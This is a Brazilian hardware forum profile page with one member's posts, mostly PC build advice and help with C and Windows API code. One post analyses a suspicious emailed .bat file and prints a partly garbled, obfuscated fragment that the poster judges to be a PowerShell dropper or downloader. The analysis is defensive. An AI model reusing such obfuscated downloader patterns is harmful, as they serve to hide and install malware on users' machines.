Ir ao conteúdo
  • Cadastre-se

Fernando Mercês

Membro VIP
  • Posts

    2.310
  • Cadastrado em

  • Última visita

Reputação

171

Sobre Fernando Mercês

  1. Muito obrigado pelas sugestões, @GenesisG7! Já troquei todas as peças que recomendou na minha lista. Achei as memórias mais baratas até. Vou tentar ver individualmente em diferentes lojas se consigo promoções, como recomendou. A RX 580 tá R$ 1.699,90. Bem puxado. Abraço!
  2. Aí amigos, o que acham? Processador AMD Ryzen 5 1600, Cache 19MB, 3.2GHz (3.6GHz Max Turbo), AM4 Placa-Mãe Gigabyte B450M DS3H, AMD AM4, mATX, DDR4 Placa de Vídeo Asus Arez Dual AMD Radeon RX 580 OC Edition, 8GB, GDDR5 - AREZ-DUAL- Memória Corsair Vengeance LPX, 16GB (2x8GB), 3000MHz, DDR4, CL16, Preto SSD Kingston A400, 480GB, SATA, Leitura 500MB/s, Gravação 450MB/s Fonte Corsair 650W 80 Plus White VS650 - CP-9020172 R$ 4.774,13 já com o frete. Aí depois me viro com teclado, mouse, gabinete, etc... Parece ok pra vocês? Tipo, tudo compatível? Abraço e obrigado pela ajuda!
  3. Salve, galera, tudo bem? Tempo que não venho aqui, mas não conheço comunidade melhor no que diz respeito à hardware. Hoje eu quase comprei essa oferta, mas vi uma galera aqui dizendo pra não cair nessas lojas de prateleiras. Só que eu tô ultra, mega desatualizado do que tá rolando no mundo do hardware e por isso vim pedir a ajuda de vocês para montar um PC para jogos que eu não precise trocá-lo por pelo menos um ano e meio, dois. Será que com uns 4 mil daria pra rodar um Fortinite no máximo? Queria garantir que a próxima versão desse jogo rodasse, por exemplo. E onde vocês compram atualmente? Online mesmo? Quando eu montava eu comprava na A1 Network Trading mas fui ver e nem existe mais. Que bom, pois demorava mais de um mês pra chegar num container chinês. kkkk Grande abraço!
  4. Tá bem legal, cara. Parabéns! Já tá bem menor né? Quer parar por aí? Porque eu tenho mais sugestões! haha Como você tá inicializando o array, não precisa dizer quantos elementos ele terá. O compilador calcula pra você, mas você vai ter que usar a notação de ponteiro junto, ficando *mes_por_extenso[]. Se você reparar, o mes-1 bate com a posição da string certa no array então você não precisa do loop. Se você fizer mes_por_extenso[mes - 1] já vai funcionar sempre, percebe? Se o mês é Março (3), por exemplo, vai pegar a posição 2 do array (mes - 1), sem precisar do laço. Dá pra fazer tudo na main(). O retorno da main() é interessante que seja int. Aí você põe um return 0 no fim dela. Você não precisa mais da string.h nem da stdlib.h. Você não precisa mais dessa char data[11] também, porque agora já tá lendo direto para os inteiros com a scanf(). Como int é o tipo padrão do C, você não precisa informá-lo ao declarar uma unsigned. Dá pra declarar todas com uma só linha também: unsigned dia, mes, ano; Enfim, seu código tá muito legal. Só tô seguindo com as sugestões porque to admitindo que você tá curtindo implementar. Não encare como crítica, ok? Em programação existem infinitos jeitos de se resolver um problema e não tem essa de certo e errado a meu ver. Grande abraço!
  5. Relaxa. O assunto é extenso à beça hehe. Por que você não faz o seguinte: quando terminar e funcionar do seu jeito, avisa e volta aqui. Aí a gente discute alguns jeitos de melhorar, pra aprendermos ainda mais.
  6. Verdade. E ó, olhando bem esse programa dá pra ser muito pequeno. hehe Acho importante você seguir com sua linha de raciocínio, mas depois que terminar, vale observar essas sugestões minhas e do @isrnick. Tenho mais algumas ó: Usar unsgined int ao invés de int, já que todos esses inteiros aí não podem ser menor que 0 (dia, mês, ano). Isso vai requerer o modificador %u ao invés do %d. Criar um array de strings para os meses e depois exibir diretamente o mês correto usando array[mes - 1]. Teu código vai ficar bem mais limpo, rápido e você vai economizar 12 if's/switch's. Adicionar um tratamento de erro para dia/mês inválido. Abraço!
  7. Em tempo, você pode usar o %d pra ler direto um inteiro usando a scanf(), assim você não precisa ficar convertendo de string: #include <stdio.h> int main(int argc, char *argv[]) { int dia, mes, ano; scanf("%d-%d-%d", &dia, &mes, &ano); printf("dia: %d\nmes: %d\nano: %d\n", dia, mes, ano); return 0; } Veja: $ ./data 17-05-2018 dia: 17 mes: 5 ano: 2018 Valeu!
  8. A printf() tá dentro do bloco do switch. Só tirar. Abraço!
  9. De fato, nenhuma extensão "é vírus" por si só, mas este arquivo está bem estranho e acho que ele perdeu a formatação quando você colou seu conteúdo aqui no fórum. De repente se você editar e usar um bloco de código (botão <>) vai melhorar. Ou você poderia comprimir este arquivo com uma senha e anexar aqui (mas não sei se o fórum ou suas regras permitem). Bem, eu fui ajustando o arquivo aqui e realmente ele tenta executar algo: C:\Windows\System32>Set data= ZPC(" 7Pl(a Pn-WO TIXm aPm.Q IOrsZ Ia ). 4nas 4f 1 GZUq( 'p 1:// hzg.I hZ4qI .r4g/ ?hghZ dHM8S AS 7 ThEWp DOJni 7o s qB KS drIk6 Lma9z wxsjO ahikQ 1nvb0 4V x7 MHI6N Td/ n gpXr kPi4q TDz7+ MOr+/ NrmtL A3 kSJ Tl K zQ='; )"); echo %data% | nZah4Q1t4QIDEpIzz\dk.j\ 4QID1pIzz.ICI -a4 - QZa k 'nZah4Q1t4QIDEpIzz\dk.j\' is not recognized as an internal or external command, operable program or batch file. Parece ter algum bug, ou eu não descobri ainda como desofuscar totalmente. Somando essa clara intenção de ocultar o que o script faz com o fato de receber um .bat anexo num e-mail, eu diria que não é confiável e tem grandes chances de ser vírus mesmo. UPDATE: Pelo padrão depois do pipe (|), deduzi que este .bat chama o PowerShell e parece que eu estava certo. A string nZah4Q1t4QIDEpIzz\dk.j\ 4QID1pIzz.ICI parece ser decodificada para WindowsPowerShell\v1.0\PowerShell.exe, que tá embaixo da %SystemRoot%\System32, o que bate com o primeiro comando deste .bat. Ou seja, este .bat de fato chama o PowerShell, provavelmente para baixar um malware (ainda tem o padrão parecido com uma URL em 1://), o que me faz pensar que este .bat é um dropper/downloader. Se você tiver o arquivo intacto do jeito que recebeu posso tentar ajudar mais. Abraço.
  10. A função isdigit() tá no header ctypes.h e não em stdlib.h, logo, segundo o enunciado do seu exercício você não pode usar. Parece que parte do que seu professor está pedindo, é justamente implementar uma função análoga, não usar uma pronta. Pelo menos é o que faz sentido pra mim, já que isso é um exercício. Você vai precisar entender a tabela ASCII pra fazer isso, creio. Abraços, Fernando
  11. Tamo junto! Eu acho que a mensagem LB_ADDSTRING só deixa adicionar um item mesmo (que acaba na quebra de linha). Acho que você vai ter que chamá-la várias vezes. Por isso falei da fgets(), que você chama várias vezes também, aí lê linha por linha e já fica pronto pra passar pra SendMessage(). Ou fscanf()? Pra ser honesto, não sei qual a melhor solução pro seu caso. Cada item vai estar numa linha? Em qual formato? Sorry, eu raramente trabalho com arquivos de texto.
  12. É que abrir é diferente de ler. Até agora, pelo que vi no seu código você só abre os arquivos, não lê seu conteúdo. Pra ler tem que usar ReadFile() ou fread(). Por exemplo, se você fizer assim, vai funcionar: case IDC_BUTTON_LIST: { estoque = fopen ("estoque.txt","r"); char buff[255]; fread(buff, 1, 255, estoque); SendMessage(gProductList, LB_ADDSTRING, 0, (LPARAM)buff); fclose(estoque); } break; Só que isso não tá bom, nem certo. rs O lance é que ler linhas em C é chato mesmo. Acho que mais coerente seria usar a fgets() e você tem que saber o tamanho máximo da linha, de qualquer forma. Mas eu ainda acho que a API do Windows pura poderia fazer tudo. Bem, tu que sabe... Abraço!
  13. Não entendi. As cores serão items dentro do ListBox? É só escrever em Português, não? Agora, pra fazer funcionar é outra história... Vai ter que adicionar código no evento SelectedIndexChanged do ListBox. Abraços!
  14. Seguindo a lógica que você seguiu, teria que usar a fread() antes de fechar o arquivo com a fclose(). No entanto, tem conceitos misturados aí. Você tá usando as funções da API do Windows e misturando com as da biblioteca C padrão (fopen(), fread(), fclose(), etc). Seria mais legal usar as do Windows mesmo (CreateFile(), ReadFile(), WriteFile(), CloseFile(), etc), mas claro, nada impede de você seguir na sua lógica. Aqui tem um exemplo usando as funções do Windows: Opening a File for Reading or Writing, mas vê aí que a gente se ajuda por aqui. Abraços!

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...